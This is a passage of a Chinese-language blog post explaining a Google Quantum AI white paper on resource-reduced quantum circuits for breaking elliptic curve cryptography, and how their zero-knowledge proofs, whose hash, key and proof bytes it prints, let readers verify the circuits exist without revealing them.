href="https://nordpass.com/blog/elliptic-curve-cryptography/?ref=defiplot.com">&#x692D;&#x5706;&#x66F2;&#x7EBF;&#x5BC6;&#x7801;&#x5B66;</a>(ECC)&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/04/1-Ov2vihoMZFS3sYyLMGknOQ.png" class="kg-image" alt="&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;: &#x8BA9;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&quot;&#x9690;&#x79C1;&#x5316;&quot;" loading="lazy"></figure><p>&#x89E3;&#x51B3;256&#x4F4D;&#x692D;&#x5706;&#x66F2;&#x7EBF;&#x79BB;&#x6563;&#x5BF9;&#x6570;&#x95EE;&#x9898;&#xFF08;&#x692D;&#x5706;&#x66F2;&#x7EBF;&#x5BC6;&#x7801;&#x5B66;ECC&#x7684;&#x6570;&#x5B66;&#x57FA;&#x7840;&#xFF09;&#x6240;&#x9700;&#x7684;&#x903B;&#x8F91;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#xFF08;&#x91CF;&#x5B50;&#x8BA1;&#x7B97;&#x5355;&#x5143;&#xFF09;&#x548C;Toffoli&#x95E8;&#xFF08;&#x8BA1;&#x7B97;&#x64CD;&#x4F5C;&#xFF09;&#x6570;&#x91CF;&#x7684;&#x5BF9;&#x6BD4;&#x3002;Google&#x91CF;&#x5B50;AI&#x56E2;&#x961F;&#x63D0;&#x51FA;&#x7684;&#x7535;&#x8DEF;&#x5728;&#x4E00;&#x4E2A;&#x8BBE;&#x8BA1;&#x4E2D;&#x51CF;&#x5C11;&#x4E86;84%&#x7684;&#x903B;&#x8F91;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#xFF0C;&#x5728;&#x53E6;&#x4E00;&#x4E2A;&#x8BBE;&#x8BA1;&#x4E2D;&#x5927;&#x7EA6;&#x51CF;&#x5C11;&#x4E86;73%&#x7684;&#x95E8;&#x6570;&#x91CF;&#x3002;<a href="https://arxiv.org/pdf/2603.28846v1?ref=defiplot.com">&#x767D;&#x76AE;&#x4E66;</a>&#x7B2C;8&#x9875;&#x3002;</p><p>&#x8FD9;&#x5F88;&#x91CD;&#x8981;&#xFF0C;&#x56E0;&#x4E3A;&#x73B0;&#x5728;&#x4F30;&#x8BA1;&#x5728;&#x529F;&#x80FD;&#x8F83;&#x5F31;&#x7684;&#x91CF;&#x5B50;&#x8BA1;&#x7B97;&#x673A;&#x4E0A;&#x8FD0;&#x884C;&#x8F83;&#x5C11;&#x7684;&#x65F6;&#x95F4;&#x5C31;&#x80FD;&#x7834;&#x89E3;ECC&#xFF0C;&#x8FD9;&#x662F;&#x4E00;&#x79CD;&#x5E7F;&#x6CDB;&#x4F7F;&#x7528;&#x7684;&#x52A0;&#x5BC6;&#x65B9;&#x6848;&#xFF0C;&#x4FDD;&#x62A4;&#x7740;&#x4E92;&#x8054;&#x7F51;&#x548C;&#x6570;&#x5B57;&#x534F;&#x8BAE;&#x7684;&#x5927;&#x90E8;&#x5206;&#x5185;&#x5BB9;&#x3002;</p><p>&#x540C;&#x6837;&#x503C;&#x5F97;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;&#x7814;&#x7A76;&#x56E2;&#x961F;&#x6CA1;&#x6709;&#x516C;&#x5F00;&#x53D1;&#x5E03;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#xFF0C;&#x800C;&#x662F;&#x4F7F;&#x7528;&#x4E86;<a href="https://ethereum.org/zero-knowledge-proofs/?ref=defiplot.com">&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;</a>&#x6765;&#x9A8C;&#x8BC1;&#x7535;&#x8DEF;&#x800C;&#x4E0D;&#x62AB;&#x9732;&#x5176;&#x5185;&#x5BB9;&#x3002;</p><p>&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;&#xFF08;zk&#x8BC1;&#x660E;&#xFF09;&#x662F;&#x4E00;&#x79CD;&#x5BC6;&#x7801;&#x5B66;&#x65B9;&#x6CD5;&#xFF0C;&#x4E00;&#x65B9;&#x53EF;&#x4EE5;&#x5411;&#x53E6;&#x4E00;&#x65B9;&#x8BC1;&#x660E;&#x67D0;&#x4EF6;&#x4E8B;&#x662F;&#x771F;&#x5B9E;&#x7684;&#xFF0C;&#x800C;&#x65E0;&#x9700;&#x900F;&#x9732;&#x4EFB;&#x4F55;&#x4FE1;&#x606F;&#x3002;</p><p>&#x90A3;&#x4E48;&#x6211;&#x4EEC;&#x5982;&#x4F55;&#x9A8C;&#x8BC1;&#x8FD9;&#x4E9B;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x786E;&#x5B9E;&#x5B58;&#x5728;&#x5462;&#xFF1F;</p><p>&#x672C;&#x6587;&#x89E3;&#x91CA;&#x4E86;&#x8FD9;&#x4E9B;&#x7535;&#x8DEF;&#xFF0C;&#x5E76;&#x4E13;&#x6CE8;&#x4E8E;&#x56DE;&#x7B54;&#x8FD9;&#x4E2A;&#x786E;&#x5207;&#x7684;&#x95EE;&#x9898;&#xFF1A;&#x5982;&#x4F55;&#x72EC;&#x7ACB;&#x9A8C;&#x8BC1;&#x8FD9;&#x4E9B;zk&#x8BC1;&#x660E;&#xFF0C;&#x5E76;&#x786E;&#x8BA4;&#x8FD9;&#x4E9B;&quot;&#x79C1;&#x6709;&quot;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x786E;&#x5B9E;&#x5B58;&#x5728;&#x3002;</p><h2 id="1%E3%80%81%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81%E4%BD%BF%E7%94%A8%E9%9B%B6%E7%9F%A5%E8%AF%86%E8%AF%81%E6%98%8E">1&#x3001;&#x4E3A;&#x4EC0;&#x4E48;&#x8981;&#x4F7F;&#x7528;&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;</h2><p>&#x4E1A;&#x754C;&#x9886;&#x8896;&#x5F3A;&#x8C03;&#x8D8A;&#x6765;&#x8D8A;&#x591A;&#x5730;&#x4F7F;&#x7528;zk&#x8BC1;&#x660E;&#x6765;&#x4FDD;&#x62A4;&#x91CD;&#x8981;&#x7684;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#xFF0C;&#x5F3A;&#x8C03;&#x7406;&#x89E3;&#x548C;&#x9A8C;&#x8BC1;&#x5B83;&#x4EEC;&#x7684;&#x5FC5;&#x8981;&#x6027;&#x3002;</p><p>&#x8FD9;&#x6697;&#x793A;&#x4E86;&#x4E00;&#x4E2A;&#x65B0;&#x5174;&#x8D8B;&#x52BF;&#xFF1A;&#x7814;&#x7A76;&#x4EBA;&#x5458;&#x5E0C;&#x671B;&#x5C06;&#x7535;&#x8DEF;&#x5546;&#x4E1A;&#x5316;&#xFF0C;&#x6216;&#x8005;&#x5C06;&#x5176;&#x4FDD;&#x5BC6;&#xFF0C;&#x6216;&#x8005;&#x9762;&#x4E34;&#x653F;&#x5E9C;&#x538B;&#x529B;&#x8981;&#x6C42;&#x4E0D;&#x5411;&#x6076;&#x610F;&#x884C;&#x4E3A;&#x8005;&#x516C;&#x5F00;&#x3002;</p><p>&#x767D;&#x76AE;&#x4E66;&#x6307;&#x51FA;&#x4ED6;&#x4EEC;&#x4E0D;&#x4F1A;&#x516C;&#x5F00;&#x53D1;&#x5E03;&#x7535;&#x8DEF;&#xFF0C;&#x8FD9;&#x4E0E;&#x4EE5;&#x524D;&#x7684;&#x7814;&#x7A76;&#x4EBA;&#x5458;&#x4E0D;&#x540C;&#xFF0C;&#x56E0;&#x4E3A;&#x4E00;&#x65E6;&#x5B9E;&#x7528;&#x7684;&#x91CF;&#x5B50;&#x8BA1;&#x7B97;&#x673A;&#x53EF;&#x7528;&#xFF0C;&#x6076;&#x610F;&#x884C;&#x4E3A;&#x8005;&#x53EF;&#x80FD;&#x4F1A;&#x5229;&#x7528;&#x5B83;&#x4EEC;&#xFF1A;</p><blockquote>&#x7136;&#x800C;&#xFF0C;&#x8BE6;&#x7EC6;&#x7684;&#x5BC6;&#x7801;&#x5206;&#x6790;&#x84DD;&#x56FE;&#x53EF;&#x80FD;&#x88AB;&#x654C;&#x5BF9;&#x884C;&#x4E3A;&#x8005;&#x6B66;&#x5668;&#x5316;&#x7684;&#x98CE;&#x9669;&#x4E0D;&#x65AD;&#x5347;&#x7EA7;&#xFF0C;&#x8FD9; necessitates &#x6539;&#x53D8;&#x62AB;&#x9732;&#x505A;&#x6CD5;&#x3002;</blockquote><p><a href="https://x.com/drakefjustin/status/2038847732152996108?ref=defiplot.com">Justin Drake</a>&#xFF0C;&#x767D;&#x76AE;&#x4E66;&#x5408;&#x8457;&#x8005;&#x3001;&#x4EE5;&#x592A;&#x574A;&#x57FA;&#x91D1;&#x4F1A;&#x7814;&#x7A76;&#x5458;&#xFF0C;&#x6697;&#x793A;&#x66F4;&#x6709;&#x4EF7;&#x503C;&#x3001;&#x66F4;&#x91CD;&#x8981;&#x7684;&#x7535;&#x8DEF;&#x5C06;&#x4FDD;&#x6301;&#x672A;&#x53D1;&#x5E03;&#x72B6;&#x6001;&#xFF1A;</p><blockquote>&#x4ECE;&#x73B0;&#x5728;&#x8D77;&#xFF0C;&#x5047;&#x8BBE;&#x6700;&#x5148;&#x8FDB;&#x7684;&#x7B97;&#x6CD5;&#x5C06;&#x88AB;&#x5BA1;&#x67E5;&#x3002;&#x53EF;&#x80FD;&#x51FA;&#x4E8E;&#x9053;&#x5FB7;&#x6216;&#x5546;&#x4E1A;&#x539F;&#x56E0;&#x8FDB;&#x884C;&#x81EA;&#x6211;&#x5BA1;&#x67E5;&#xFF0C;&#x6216;&#x56E0;&#x4E3A;&#x653F;&#x5E9C;&#x538B;&#x529B;&#x3002;&#x5B66;&#x672F;&#x51FA;&#x7248;&#x7269;&#x7684; blackout &#x5C06;&#x662F;&#x4E00;&#x4E2A;&#x660E;&#x663E;&#x7684;&#x8FF9;&#x8C61;&#x3002;</blockquote><p><a href="https://murmurationstwo.substack.com/p/my-takeaways-from-googles-and-oratomics?ref=defiplot.com">Nic Carter</a>&#xFF0C;&#x6BD4;&#x7279;&#x5E01;&#x4E3B;&#x8981;&#x6295;&#x8D44;&#x8005;&#x3001;<a href="https://castleisland.vc/?ref=defiplot.com">Castle Island Ventures</a>&#x8054;&#x5408;&#x521B;&#x59CB;&#x4EBA;&#xFF0C;&#x5C06;zk&#x8BC1;&#x660E;&#x7684;&#x4F7F;&#x7528;&#x6BD4;&#x4F5C;&#x539F;&#x5B50;&#x5F39;&#x5F00;&#x53D1;&#x8FC7;&#x7A0B;&#x4E2D;&#x6838;&#x7814;&#x7A76;&#x7684;&#x4FDD;&#x5BC6;&#xFF1A;</p><blockquote>&#x8FD9;[&#x4F7F;&#x7528;&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;&#x9690;&#x85CF;Google&#x91CF;&#x5B50;AI&#x7684;&#x91CF;&#x5B50;&#x7535;&#x8DEF;]&#x8BA9;&#x4EBA;&#x60F3;&#x8D77;&#x539F;&#x5B50;&#x5F39;&#x5F00;&#x53D1;&#x524D;&#x7269;&#x7406;&#x5B66;&#x754C;&#x53D1;&#x751F;&#x7684;&#x4E8B;&#x60C5;&#x3002;1940&#x5E74;&#xFF0C;&#x7F8E;&#x56FD;&#x56FD;&#x5BB6;&#x79D1;&#x5B66;&#x9662;&#x81EA;&#x613F;&#x91C7;&#x7528;&#x4E86;&#x81EA;&#x6211;&#x5BA1;&#x67E5;&#x5236;&#x5EA6;&#x3002;&#x4E00;&#x65E6;&#x66FC;&#x54C8;&#x987F;&#x8BA1;&#x5212;&#x5F00;&#x59CB;&#xFF0C;&#x6240;&#x6709;&#x6B63;&#x5F0F;&#x51FA;&#x7248;&#x7269;&#x90FD;&#x505C;&#x6B62;&#x4E86;&#x3002;1945&#x5E74;7&#x6708;&#xFF0C;&#x7B2C;&#x4E00;&#x9897;&#x88C2;&#x53D8;&#x70B8;&#x5F39;&#x5728;&#x65B0;&#x58A8;&#x897F;&#x54E5;&#x5DDE;&#x767D;&#x6C99;&#x5BFC;&#x5F39;&#x9776;&#x573A;&#x5F15;&#x7206;&#x3002;</blockquote><p>&#x968F;&#x7740;&#x66F4;&#x591A;&#x7814;&#x7A76;&#x4EBA;&#x5458;&#x91C7;&#x7528;zk&#x8BC1;&#x660E;&#x6765;&#x9690;&#x85CF;&#x4F46;&quot;&#x8BC1;&#x660E;&quot;&#x7279;&#x5B9A;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x7684;&#x5B58;&#x5728;&#xFF0C;&#x7406;&#x89E3;&#x5982;&#x4F55;&#x9A8C;&#x8BC1;&#x5B83;&#x4EEC;&#x53D8;&#x5F97;&#x81F3;&#x5173;&#x91CD;&#x8981;&#x3002;</p><h2 id="2%E3%80%81google%E7%9A%84%E9%87%8F%E5%AD%90%E7%94%B5%E8%B7%AF%E6%84%8F%E5%91%B3%E7%9D%80%E4%BB%80%E4%B9%88">2&#x3001;Google&#x7684;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x610F;&#x5473;&#x7740;&#x4EC0;&#x4E48;</h2><p>Google&#x91CF;&#x5B50;AI&#x7814;&#x7A76;&#x4EBA;&#x5458;&#x63D0;&#x4F9B;&#x4E86;&#x4E24;&#x4E2A;&#x80FD;&#x591F;&#x7834;&#x89E3;ECC&#x7684;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x7684;&#x5143;&#x6570;&#x636E;&#x3002;</p><p>&#x5982;&#x679C;&#x4E00;&#x4E2A;&#x7535;&#x8DEF;&#x80FD;&#x591F;&#x89E3;&#x51B3;9,024&#x4E2A;&#x5177;&#x6709;&#x4E0D;&#x540C;&#x8D77;&#x59CB;&#x70B9;&#x8F93;&#x5165;&#x7684;<a href="https://www.certicom.com/en/21-elliptic-curve-addition-a-geometric-approach?ref=defiplot.com">&#x692D;&#x5706;&#x66F2;&#x7EBF;&#x70B9;&#x52A0;&#x6CD5;&#x95EE;&#x9898;</a>&#xFF0C;&#x5219;&#x88AB;&#x8BA4;&#x4E3A;&#x80FD;&#x591F;&#x7834;&#x89E3;ECC&#x3002;</p><p>&#x7ED9;&#x5B9A;&#x692D;&#x5706;&#x66F2;&#x7EBF;&#x4E0A;&#x7684;&#x4E24;&#x4E2A;&#x8D77;&#x59CB;&#x70B9;P&#x548C;Q&#xFF0C;&#x7535;&#x8DEF;&#x53EF;&#x4EE5;&#x627E;&#x5230;&#x7B2C;&#x4E09;&#x4E2A;&#x70B9;(-R)&#xFF0C;&#x5176;&#x4E2D;&#x901A;&#x8FC7;P&#x548C;Q&#x7684;&#x76F4;&#x7EBF;&#x4E0E;&#x66F2;&#x7EBF;&#x76F8;&#x4EA4;&#x3002;&#x7136;&#x540E;&#xFF0C;&#x5B83;&#x901A;&#x8FC7;&#x5C06;&#x70B9;(-R)&#x6CBF;x&#x8F74;&#x53CD;&#x5C04;&#x6765;&#x8BA1;&#x7B97;&#x70B9;R&#x3002;R&#x88AB;&#x8868;&#x793A;&#x4E3A;P&#x548C;Q&#x7684;&#x548C;&#x6216;&#x52A0;&#x6CD5;&#x3002;</p><p>&#x7528;&#x66F4;&#x76F4;&#x63A5;&#x7684;&#x6570;&#x5B66;&#x672F;&#x8BED;&#x6765;&#x8BF4;&#xFF1A;</p><blockquote>&#x5728;<a href="https://en.bitcoin.it/wiki/Secp256k1?ref=defiplot.com">&#x692D;&#x5706;&#x66F2;&#x7EBF;secp256k1</a>[&#x6BD4;&#x7279;&#x5E01;&#x4F7F;&#x7528;&#x7684;&#x692D;&#x5706;&#x66F2;&#x7EBF;&#x7C7B;&#x578B;]&#x4E0A;&#x6B63;&#x786E;&#x8BA1;&#x7B97;&#x6240;&#x6709;9,024&#x4E2A;&#x4F2A;&#x968F;&#x673A;&#x8F93;&#x5165;&#x7684;&#x70B9;&#x52A0;&#x6CD5;&#xFF0C;&#x8FD9;&#x4E9B;&#x8F93;&#x5165;&#x662F;&#x786E;&#x5B9A;&#x6027;&#x5730;&#x4ECE;&#x7535;&#x8DEF;&#x81EA;&#x8EAB;&#x7684;&#x54C8;&#x5E0C;&#x503C;&#x6D3E;&#x751F;&#x51FA;&#x6765;&#x7684;</blockquote><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:700/0*qDnrF2GB-E05v-aT" class="kg-image" alt="&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;: &#x8BA9;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&quot;&#x9690;&#x79C1;&#x5316;&quot;" loading="lazy"></figure><p>&#x8BA1;&#x7B97;&#x70B9;R&#x7684;&#x793A;&#x4F8B;&#x3002;&#x5728;&#x692D;&#x5706;&#x66F2;&#x7EBF;&#x4E2D;&#xFF0C;&#x901A;&#x8FC7;&#x4E24;&#x70B9;&#xFF08;P&#x548C;Q&#xFF09;&#x7684;&#x76F4;&#x7EBF;&#x603B;&#x662F;&#x4E0E;&#x66F2;&#x7EBF;&#x518D;&#x6B21;&#x76F8;&#x4EA4;&#x4E8E;&#x7B2C;&#x4E09;&#x4E2A;&#xFF08;&#x4E5F;&#x662F;&#x552F;&#x4E00;&#x7B2C;&#x4E09;&#x4E2A;&#xFF09;&#x70B9;&#xFF08;R&#xFF09;&#x3002;&#x901A;&#x8FC7;&#x5C06;&#x70B9;(-R)&#x6CBF;x&#x8F74;&#x53CD;&#x5C04;&#x6765;&#x8BA1;&#x7B97;&#x70B9;R&#xFF0C;&#x5F97;&#x5230;R = P + Q&#x3002;&#x6765;&#x6E90;&#xFF1A;<a href="https://nordpass.com/blog/elliptic-curve-cryptography/?ref=defiplot.com">NordPass</a></p><p>&#x5927;&#x591A;&#x6570;&#x692D;&#x5706;&#x66F2;&#x7EBF;&#x4E0D;&#x5982;&#x8FD9;&#x4E2A;&#x793A;&#x4F8B;&#x90A3;&#x6837;&#x5747;&#x5300;&#xFF0C;&#x5BF9;&#x4E8E;&#x65E5;&#x5E38;&#x7684;&#x7ECF;&#x5178;&#x8BA1;&#x7B97;&#x673A;&#x6765;&#x8BF4;&#xFF0C;&#x7B2C;&#x4E09;&#x4E2A;&#x70B9;&#x5728;&#x54EA;&#x91CC;&#x5E76;&#x4E0D;&#x660E;&#x663E;&#xFF0C;&#x8FD9;&#x4F7F;&#x5F97;ECC&#x4F20;&#x7EDF;&#x4E0A;&#x5BF9;&#x4E8E;&#x52A0;&#x5BC6;&#x6570;&#x5B57;&#x6570;&#x636E;&#x975E;&#x5E38;&#x5B89;&#x5168;&#xFF0C;&#x5982;&#x672C;&#x89C6;&#x9891;&#x6240;&#x89E3;&#x91CA;&#x7684;&#xFF1A;</p><p>&#x56E0;&#x6B64;&#xFF0C;&#x89E3;&#x51B3;9,024&#x4E2A;&#x8FD9;&#x6837;&#x7684;&#x95EE;&#x9898;&#x5E76;&#x975E;&#x6613;&#x4E8B;&#x3002;&#x5982;Google&#x91CF;&#x5B50;AI&#x7814;&#x7A76;&#x4EBA;&#x5458;&#x58F0;&#x79F0;&#x7684;&#x90A3;&#x6837;&#xFF0C;&#x80FD;&#x591F;&#x89E3;&#x51B3;9,024&#x4E2A;&#x5B9E;&#x4F8B;&#x7684;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x8868;&#x660E;&#x5B83;&#x80FD;&#x591F;&#x53EF;&#x9760;&#x5730;&#x6267;&#x884C;&#x5B8C;&#x6574;ECC&#x653B;&#x51FB;&#x6240;&#x9700;&#x7684;&#x692D;&#x5706;&#x66F2;&#x7EBF;&#x8FD0;&#x7B97;&#x3002;</p><p>Google&#x91CF;&#x5B50;AI&#x63D0;&#x4F9B;&#x4E86;&#x6EE1;&#x8DB3;&#x6B64;&#x6807;&#x51C6;&#x7684;&#x4E24;&#x4E2A;&#x7535;&#x8DEF;&#x7684;&#x8BE6;&#x7EC6;&#x4FE1;&#x606F;&#xFF1B;&#x6BCF;&#x4E2A;&#x7535;&#x8DEF;&#x9488;&#x5BF9;&#x4E0D;&#x540C;&#x7684;&#x76EE;&#x6807;&#x8FDB;&#x884C;&#x4E86;&#x4F18;&#x5316;&#x3002;</p><ol><li>&#x7B2C;&#x4E00;&#x79CD;&#x65B9;&#x6CD5;&#x4F7F;&#x7528;<strong>&#x66F4;&#x5C11;&#x7684;&#x91CF;&#x5B50;&#x6BD4;&#x7279;</strong>&#xFF0C;&#x6216;<a href="https://www.ibm.com/think/topics/qubit?ref=defiplot.com">&#x91CF;&#x5B50;&#x8BA1;&#x7B97;&#x5355;&#x5143;</a>&#xFF0C;&#x4F7F;&#x5176;&#x66F4;&#x9002;&#x5408;&#x786C;&#x4EF6;&#x9650;&#x5236;&#x3002;</li><li>&#x7B2C;&#x4E8C;&#x79CD;&#x4F7F;&#x7528;<strong>&#x66F4;&#x5C11;&#x7684;&#x95E8;</strong>&#x6216;<a href="https://www.nist.gov/physics/introduction-new-quantum-revolution/quantum-logic-gates?ref=defiplot.com">&#x8BA1;&#x7B97;&#x64CD;&#x4F5C;</a>&#xFF0C;&#x4F7F;&#x5176;&#x66F4;&#x9002;&#x5408;&#x8FD0;&#x884C;&#x65F6;&#x6027;&#x80FD;&#x3002;</li></ol><p>&#x62E5;&#x6709;&#x9488;&#x5BF9;&#x4E0D;&#x540C;&#x76EE;&#x6807;&#x4F18;&#x5316;&#x7684;&#x4E24;&#x4E2A;&#x7535;&#x8DEF;&#x5141;&#x8BB8;&#x5B83;&#x4EEC;&#x5728;&#x66F4;&#x9002;&#x5408;&#x7279;&#x5B9A;&#x4EFB;&#x52A1;&#xFF08;&#x5982;&#x786C;&#x4EF6;&#x6216;&#x6027;&#x80FD;&#xFF09;&#x7684;&#x5404;&#x79CD;&#x7C7B;&#x578B;&#x7684;&#x91CF;&#x5B50;&#x8BA1;&#x7B97;&#x673A;&#x4E0A;&#x8FD0;&#x884C;&#x3002;</p><h2 id="3%E3%80%81%E7%94%B5%E8%B7%AF%E5%85%83%E6%95%B0%E6%8D%AE">3&#x3001;&#x7535;&#x8DEF;&#x5143;&#x6570;&#x636E;</h2><p>&#x5C3D;&#x7BA1;&#x8FD9;&#x4E9B;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x6BD4;&#x5176;&#x4ED6;&#x80FD;&#x591F;&#x7834;&#x89E3;ECC&#x7684;&#x7535;&#x8DEF;&#x9700;&#x8981;&#x7684;&#x8D44;&#x6E90;&#x5C11;70-80%&#xFF0C;&#x4F46;&#x5B83;&#x4EEC;&#x4ECD;&#x7136;&#x592A;&#x5927;&#x800C;&#x65E0;&#x6CD5;&#x4F5C;&#x4E3A;&#x7A0B;&#x5E8F;&#x5728;&#x91CF;&#x5B50;&#x8BA1;&#x7B97;&#x673A;&#x4E0A;&#x8FD0;&#x884C;&#x3002;&#x5B83;&#x4EEC;&#x7684;&#x6027;&#x80FD;&#x4ECD;&#x7136;&#x57FA;&#x4E8E;&#x7406;&#x8BBA;&#x5047;&#x8BBE;&#xFF0C;&#x5C3D;&#x7BA1;&#x4E0D;&#x5E94;&#x8BE5;&#x88AB;&#x5FFD;&#x89C6;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/04/1-x7zN0SSNYuAWVsGyFJ6FeQ.png" class="kg-image" alt="&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;: &#x8BA9;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&quot;&#x9690;&#x79C1;&#x5316;&quot;" loading="lazy"></figure><p>&#x663E;&#x793A;&#x7834;&#x89E3;RSA-2048&#xFF08;&#x4E00;&#x79CD;&#x6D41;&#x884C;&#x7684;&#x52A0;&#x5BC6;&#x65B9;&#x6848;&#xFF09;&#x6240;&#x9700;&#x4F30;&#x8BA1;&#x503C;&#x7684;&#x56FE;&#x8868;&#xFF0C;&#x4F5C;&#x4E3A;<a href="https://www.ionq.com/blog/demystifying-logical-qubits-and-fault-tolerance?ref=defiplot.com">&#x7269;&#x7406;&#x91CF;&#x5B50;&#x6BD4;&#x7279;</a>&#x6570;&#x91CF;&#xFF08;&#x5DE6;&#xFF09;&#x7684;&#x51FD;&#x6570;&#xFF0C;&#x5373;&#x7528;&#x4E8E;&#x4FDD;&#x62A4;&#x903B;&#x8F91;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#x7684;&#x539F;&#x59CB;&#x786C;&#x4EF6;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#xFF0C;&#x4EE5;&#x53CA;[Toffoli&#x95E8;](http://A graph showing the published estimates needed to break RSA-2048, a popular cryptographic scheme, with the number of physical qubits (left) and number of Toffoli Gates (right).)&#x6570;&#x91CF;&#xFF08;&#x53F3;&#xFF09;&#xFF0C;&#x7279;&#x5B9A;&#x7684;&#x91CF;&#x5B50;&#x903B;&#x8F91;&#x64CD;&#x4F5C;&#x3002;<a href="https://arxiv.org/pdf/2603.28846?ref=defiplot.com">&#x767D;&#x76AE;&#x4E66;</a>&#x7B2C;10&#x9875;&#x3002;</p><p>&#x7535;&#x8DEF;&#x5143;&#x6570;&#x636E;&#x5305;&#x62EC;<a href="https://www.nature.com/articles/s41534-024-00945-3?ref=defiplot.com">&#x975E;Clifford&#x95E8;</a>&#x7684;&#x6570;&#x91CF;&#xFF0C;&#x5373;&#x901A;&#x7528;&#x91CF;&#x5B50;&#x8BA1;&#x7B97;&#x6240;&#x9700;&#x7684;&#x64CD;&#x4F5C;&#xFF0C;&#x4EE5;&#x53CA;<a href="https://quantum.microsoft.com/en-us/insights/blogs/qsharp/defining-logical-qubits-criteria-for-resilient-quantum-computation?ref=defiplot.com">&#x903B;&#x8F91;&#x91CF;&#x5B50;&#x6BD4;&#x7279;</a>&#x7684;&#x6570;&#x91CF;&#xFF0C;&#x5373;&#x5728;&#x88AB;&#x8BB8;&#x591A;&#x5468;&#x56F4;&#x7269;&#x7406;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#x4FDD;&#x62A4;&#x514D;&#x53D7;&#x566A;&#x58F0;&#x548C;&#x9519;&#x8BEF;&#x7684;&#x540C;&#x65F6;&#x6267;&#x884C;&#x8BA1;&#x7B97;&#x7684;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#x3002;</p><p>&#x5177;&#x6709;&#x66F4;&#x5C11;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#x7684;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#xFF0C;&#x6216;&quot;&#x4F4E;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&quot;&#xFF0C;&#x5305;&#x62EC;&#xFF1A;</p><ul><li>2,700,000&#x4E2A;&#x975E;Clifford&#x95E8;</li><li>1,175&#x4E2A;&#x903B;&#x8F91;&#x91CF;&#x5B50;&#x6BD4;&#x7279;</li></ul><p>&#x5177;&#x6709;&#x66F4;&#x5C11;&#x95E8;&#x7684;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#xFF0C;&#x6216;&quot;&#x4F4E;&#x95E8;&#x6570;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&quot;&#xFF0C;&#x5305;&#x62EC;&#xFF1A;</p><ul><li>2,100,000&#x4E2A;&#x975E;Clifford&#x95E8;</li><li>1,425&#x4E2A;&#x903B;&#x8F91;&#x91CF;&#x5B50;&#x6BD4;&#x7279;</li></ul><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/04/1-T-KWahSDLckN9RP451ZdPw.png" class="kg-image" alt="&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;: &#x8BA9;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&quot;&#x9690;&#x79C1;&#x5316;&quot;" loading="lazy"></figure><h2 id="4%E3%80%81%E9%AA%8C%E8%AF%81%E5%85%83%E6%95%B0%E6%8D%AE">4&#x3001;&#x9A8C;&#x8BC1;&#x5143;&#x6570;&#x636E;</h2><p><strong>&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;&#x662F;&#x5982;&#x4F55;&#x521B;&#x5EFA;&#x7684;</strong></p><p>&#x4E3A;&#x6BCF;&#x4E2A;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x751F;&#x6210;&#x4E86;&#x4E00;&#x4E2A;&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;&#xFF0C;&#x4EA7;&#x751F;&#x4E86;&#x4E09;&#x4E2A;&#x7528;&#x4E8E;&#x9A8C;&#x8BC1;&#x5176;&#x5143;&#x6570;&#x636E;&#x7684;&#x6807;&#x8BC6;&#x7B26;&#x3002;</p><p>&#x4EE5;&#x4E0B;&#x662F;&#x767D;&#x76AE;&#x4E66;&#x4E2D;&#x63D0;&#x51FA;&#x7684;&#x4F4E;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x7684;&#x6807;&#x8BC6;&#x7B26;&#xFF1A;</p><pre><code>Circuit SHA-256 Hash:
0xcc8f532ffea1583ceed3c9af75de3263ebaddd5fdf3cddfb3dea848b94d0396a

Verification Key:
0x00ca4af6cb15dbd83ec3eaab3a0664023828d90a98e650d2d340712f5f3eb0d4

Groth16 Proof Bytes:
0x0e78f4db0000000000000000000000000000000000000000000000000000000000000000008cd56e10c2fe24795cff1e1d1f40d3a
324528d315674da45d26afb376e86700000000000000000000000000000000000000000000000000000000000000000215c7fe4fc59
7b861d82370ab556684ae36e98cf073e7f754f2788ad58721dbd012927516f316e7b4f3effb1dbd567732611cb0334f2d75e529c5e3
becd0629c17605c7ff87c6f23324328744454bdec0df425a4a63e3358c10079c85ef757412ae86ae1f85bf47ef6980852d6f65423be
